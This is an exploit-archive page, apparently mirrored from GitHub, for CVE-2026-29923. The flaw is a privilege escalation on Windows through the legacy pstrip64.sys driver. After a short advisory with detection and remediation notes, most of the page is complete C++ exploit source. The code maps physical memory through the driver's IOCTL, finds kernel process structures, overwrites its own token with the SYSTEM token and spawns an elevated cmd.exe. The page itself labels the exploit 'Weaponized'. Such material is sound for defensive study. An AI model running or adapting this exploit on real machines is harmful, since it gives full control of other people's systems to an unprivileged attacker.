PoC Archive PoC Archive
Critical CVE-2026-29923 unpatched

Windows pstrip64.sys BYOVD Physical Memory Local Privilege Escalation — CVE-2026-29923

by athenasec16 · 2026-07-05

Severity
Critical
CVE
CVE-2026-29923
Category
binary
Affected product
pstrip64.sys kernel driver (EnTech Taiwan PowerStrip, up to version 3.90.736)
Affected versions
pstrip64.sys as shipped with PowerStrip <= 3.90.736
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherathenasec16
CVE / AdvisoryCVE-2026-29923
Categorybinary
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsbyovd, windows-kernel, lpe, physical-memory, eprocess, token-theft, driver, ioctl
RelatedN/A

Affected Target

FieldValue
Software / Systempstrip64.sys kernel driver (EnTech Taiwan PowerStrip, up to version 3.90.736)
Versions Affectedpstrip64.sys as shipped with PowerStrip <= 3.90.736
Language / PlatformC++, Windows 10 22H2 x86 (32-bit user-mode PoC against the driver)
Authentication RequiredLocal-only (standard/unprivileged local user)
Network Access RequiredNo

Summary

pstrip64.sys is a legacy signed kernel driver bundled with EnTech Taiwan PowerStrip that exposes an IOCTL (0x80002008) allowing a calling process to map arbitrary physical memory into its own address space via ZwMapViewOfSection against \Device\PhysicalMemory, hardcoding the target as the current process. This is a classic “Bring Your Own Vulnerable Driver” (BYOVD) primitive: any unprivileged process that can load the driver gains an arbitrary physical memory read/write primitive. The PoC scans physical memory for EPROCESS structures using the Proc pool tag, validates candidates heuristically, locates the token of the System process (PID 4) and the exploit’s own process, and overwrites its own token pointer with the System token, escalating to NT AUTHORITY\SYSTEM.


Vulnerability Details

Root Cause

pstrip64.sys’s IOCTL 0x80002008 handler (sub_11000) maps attacker-specified physical addresses into the calling process’s virtual address space via ZwMapViewOfSection with a hardcoded ZwCurrentProcess() handle and returns the mapped virtual address to user-mode, granting arbitrary physical memory read/write with no privilege or caller checks.

Attack Vector

  1. Load the legacy signed pstrip64.sys driver (BYOVD) and open a handle via CreateFileA(\\.\PSTRIP64).
  2. Use IOCTL 0x80002008 (wrapped as MapPhysicalMemory()) to map chunks of physical RAM (0x10000000–0x140000000, 2MB steps) into the exploit process.
  3. Scan mapped memory for the Proc pool tag (0x636F7250) and validate candidate EPROCESS structures via heuristics (PriorityClass, ProcessLock, printable ImageFileName).
  4. Identify the exploit’s own process (by PID) and the System process (PID 4); save the physical address of the exploit process’s token pointer and the value of the System token.
  5. Map the page containing the exploit process’s token pointer and overwrite it with the System token value.
  6. Spawn cmd.exe via CreateProcessA, which inherits SYSTEM privileges.

Impact

Full local privilege escalation from a standard user to NT AUTHORITY\SYSTEM, bypassing modern Windows security protections via a trusted-but-vulnerable third-party driver.


Environment / Lab Setup

Target:   Windows 10 22H2 x86, pstrip64.sys loaded (hash ab01485bb7c8bc1a9c86096eeea6d31d8fad557bf4d44072b46373d2203faa6e)
Attacker: Visual Studio / MSVC (build as 32-bit), local unprivileged user account

Proof of Concept

PoC Script

See pstrip64_poc.cpp, pstrip64_poc.h, and pstrip64.sys in this folder.

1
2
cl /EHsc pstrip64_poc.cpp   # build as a 32-bit executable
pstrip64_poc.exe

The PoC loads the vulnerable driver, establishes the physical memory read/write primitive via IOCTL 0x80002008, locates the SYSTEM and exploit-process EPROCESS token pointers by scanning physical memory, overwrites the exploit process token with the SYSTEM token, and spawns an elevated cmd.exe.


Detection & Indicators of Compromise

Signs of compromise:

  • Presence/loading of pstrip64.sys outside expected PowerStrip installations
  • A low-integrity process suddenly spawning a SYSTEM-level cmd.exe
  • EDR/driver-blocklist alerts for known vulnerable driver hashes (BYOVD detection)

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; block the driver via Microsoft’s vulnerable driver blocklist (HVCI/WDAC)
Interim mitigationRemove/uninstall PowerStrip and pstrip64.sys where not required; enforce driver allow-listing and blocklist known-vulnerable driver hashes

References


Notes

Mirrored from https://github.com/athenasec16/CVE-2026-29923 on 2026-07-05.

pstrip64_poc.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
#include <windows.h>
#include <iostream>
#include <cstdint>
#include "pstrip64_poc.h"


PVOID MapPhysicalMemory(HANDLE hDevice, DWORD64 physicalAddress, DWORD length, DWORD busNumber = 0, DWORD addressSpace = 0) {
    PSTRIP_MAP_REQUEST request = { 0 };
    request.BusNumber = busNumber;
    request.PhysicalAddress = physicalAddress;
    request.AddressSpace = addressSpace;
    request.Length = length;

    DWORD bytesReturned = 0;

    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_MAP_MEMORY,
        &request,              // Input buffer
        sizeof(request),       // Input buffer size (24 bytes)
        &request,              // Output buffer (driver writes back to the same buffer)
        sizeof(request),       // Output buffer size (must be >= 4 bytes)
        &bytesReturned,
        NULL
    );

    // If DeviceIoControl fails entirely (e.g., driver not loaded)
    if (!result) {
        printf("[-] DeviceIoControl completely failed for address 0x%016llX\n", physicalAddress);
        printf( "[-] GetLastError: %d", GetLastError());
        return nullptr;
    }

    // The driver returns specific debug error codes (68-76) in OutputResult
    // If it's one of these codes, the mapping failed internally in the driver.
    if (request.OutputResult >= 68 && request.OutputResult <= 76) {

        printf("[-] Driver Mapping Error for address 0x%016llX\n", physicalAddress);

        switch (request.OutputResult) {
            case 68:
                printf("[-] [68] Default Initialization State (Unknown Failure)\n");
                break;
            case 69:
                printf("[-] [69] Invalid Input Buffer Length (< 24 bytes)\n");
                break;
            case 70:
                printf("[-] [70] Invalid Output Buffer Length (< 4 bytes)\n");
                break;
            case 72:
                printf("[-] [72] ZwOpenSection failed (Cannot open \\Device\\PhysicalMemory)\n");
                break;
            case 73:
                printf("[-] [73] ObReferenceObjectByHandle failed (Invalid section handle)\n");
                break;
            case 74:
                printf("[-] [74] HalTranslateBusAddress failed (Invalid/Unbacked Physical Address)\n");
                break;
            case 75:
                printf("[-] [75] Address Translation Mismatch (Crossed Bus Boundary)\n");
            case 76:
                printf("[-] [76] ZwMapViewOfSection failed (Could not map into User Space)\n");
                break;
            default:
                printf("[-] [%d] Unknown Driver Error", request.OutputResult);
                break;
        }

        return nullptr; // Mapping failed
    }

    // If we reach here, OutputResult is not an error code, meaning it is the actual Virtual Address!
    // The driver writes the mapped virtual base address into the LowPart of the first QWORD
    return (PVOID)(ULONG_PTR)request.OutputResult;
}

void UnmapPhysicalMemory(HANDLE hDevice, PVOID virtualAddress) {
    PSTRIP_UNMAP_REQUEST request = { 0 };
    // The driver only reads the lower 32-bits for the unmap pointer address.
    request.VirtualAddressToUnmap = (DWORD)(ULONG_PTR)virtualAddress;

    DWORD bytesReturned = 0;
    DeviceIoControl(
        hDevice,
        IOCTL_UNMAP_MEMORY,
        &request,
        sizeof(request),
        &request,
        sizeof(request),
        &bytesReturned,
        NULL
    );
}

int main()
{
    // Open a handle to the driver
    HANDLE hDevice = CreateFileA(
        "\\\\.\\PSTRIP64",           // Symbolic link created by the driver
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device handle. Error: %d\n" ,GetLastError());
        return 1;
    }

    printf("[*] Successfully opened handle to PSTRIP64.\n");

    const DWORD STEP_SIZE = 0x200000;
    const DWORD64 START_ADDR = 0x10000000;
    const DWORD64 END_ADDR = 0x140000000;

    // Process targets (for Token Stealing)
    DWORD targetPid = GetCurrentProcessId();
    DWORD systemPid = 4;

    DWORD64 myTokenAddress = 0;
    DWORD64 systemToken = 0;

    printf("[*] Starting physical memory iteration to find 'Proc' tags\n");

    for (DWORD64 physAddr = START_ADDR; physAddr < END_ADDR; physAddr += STEP_SIZE) {

        PVOID mappedVirtAddr = MapPhysicalMemory(hDevice, physAddr, STEP_SIZE);

        if (mappedVirtAddr) {

            if (physAddr == 0xC0000000) {
                printf("[*] Skipping MMIO hardware region (3GB - 4GB)\n\n");
                physAddr = 0x100000000;
                continue;
            }

            __try {
                // Cast the mapped memory to a byte array
                unsigned char* blob = (unsigned char*)mappedVirtAddr;

                for (DWORD offset = 0; offset < STEP_SIZE; offset += 0x10) {

                    // 1. Check for the "Proc" pool tag (0x636F7250)
                    UINT32 procTag = *(UINT32*)(blob + offset + OFFSET_PROC_TAG);

                    if (procTag == 0x636F7250) {

                        DWORD possibleOffsets[] = { OFFSET_EPROCESS_1, OFFSET_EPROCESS_2 };

                        for (int i = 0; i < 2; i++) {
                            DWORD currentEprocessOffset = possibleOffsets[i];
                            unsigned char* eprocessBase = blob + offset + currentEprocessOffset;

                            // 2. Validate PriorityClass heuristics
                            BYTE priorityClass = *(BYTE*)(eprocessBase + OFFSET_PRIORITYCLASS);
                            if (priorityClass == 0x2) {

                                // 3. Validate ProcessLock heuristics
                                UINT32 processLock = *(UINT32*)(eprocessBase + OFFSET_PROCESSLOCK);
                                if (processLock == 0x0) {

                                    // 4. Validate ImageFileName heuristics
                                    char* imageName = (char*)(eprocessBase + OFFSET_IMAGEFILENAME);

                                    if (imageName[0] >= 0x20 && imageName[0] <= 0x7E) {

                                        // 5. Read the PID
                                        DWORD pid = *(DWORD*)(eprocessBase + OFFSET_UNIQUEPROCESSID);

                                        // 6. Token Stealing Logic
                                        if (pid == targetPid && myTokenAddress == 0) {
                                            printf("\t\t[*] Found current process! (storing address for later)\n");
                                            printf("\t\t[*] Process name : %.15s\n", imageName);
                                            printf("\t\t[*] Process PID  : %d\n\n", pid);
                                            myTokenAddress = physAddr + offset + currentEprocessOffset + OFFSET_TOKEN;
                                        }

                                        if (pid == systemPid && systemToken == 0) {
                                            printf("\t\t[*] Found privileged System token! (saving token value)\n");
                                            printf("\t\t[*] Process name : %.15s\n", imageName);
                                            printf("\t\t[*] Process PID  : %d\n\n", pid);
                                            systemToken = *(DWORD64*)(eprocessBase + OFFSET_TOKEN);
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                // Safely catch any unreadable mapped physical memory pages
            }

            // Always unmap when done!
            UnmapPhysicalMemory(hDevice, mappedVirtAddr);

            // Optimization: Stop scanning early if we already found both tokens
            if (myTokenAddress != 0 && systemToken != 0) {
                printf("\n[*] Both tokens found! Stopping memory scan early.\n");
                break;
            }
        }
    }

     printf("[*] Iteration complete.\n");

    // Privilege Escalation Execution

    if (myTokenAddress != 0 && systemToken != 0) {
        printf("\n\t\t[!!!] Found both tokens! Ready to elevate privileges!\n");

        // Map the exact physical address of OUR process's token pointer
        DWORD64 pageAlignedMyTokenAddr = myTokenAddress & ~0xFFFULL;
        DWORD pageOffset = myTokenAddress & 0xFFF;

        // Note: For the overwrite, we only need to map 1 page (4KB)
        PVOID mappedTokenPage = MapPhysicalMemory(hDevice, pageAlignedMyTokenAddr, 0x1000);

        if (mappedTokenPage) {

            DWORD64* tokenPtrToOverwrite = (DWORD64*)((BYTE*)mappedTokenPage + pageOffset);

            printf("\t\t[+] Current Token Value : 0x%016llX\n", *tokenPtrToOverwrite);
            printf("\t\t[+] Target System Token : 0x%016llX\n", systemToken);

            // Overwrite our token!
            *tokenPtrToOverwrite = systemToken;

            printf("\t\t[+] Overwrite successful! New Token: 0x%016llX\n", *tokenPtrToOverwrite);

            UnmapPhysicalMemory(hDevice, mappedTokenPage);

            printf("\n[SUCCESS] You are now NT AUTHORITY\\SYSTEM!\n");

            // Spawns cmd.exe asynchronously
            STARTUPINFOA si = { sizeof(si) };
            PROCESS_INFORMATION pi;

            printf("[*] Spawning an independent elevated command prompt...\n");

            if (CreateProcessA(
                NULL,
                (LPSTR)"cmd.exe",
                NULL,
                NULL,
                FALSE,
                CREATE_NEW_CONSOLE,
                NULL,
                NULL,
                &si,
                &pi
            )) {
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
            else {
                printf("[-] Failed to spawn cmd.exe. Error: %d\n", GetLastError());
            }
        }
        else {
            printf("[-] Failed to map our token address for the overwrite!\n");
        }
    }
    else {
        printf("[-] Failed to find both the target process and the System process.\n");
        if (myTokenAddress == 0)
            printf("[-] Could not find target process PID: %d\n", targetPid);
        if (systemToken == 0)
            printf("[-] Could not find System process PID: %d\n", systemPid);
    }

    // Clean up
    CloseHandle(hDevice);
    return 0;
}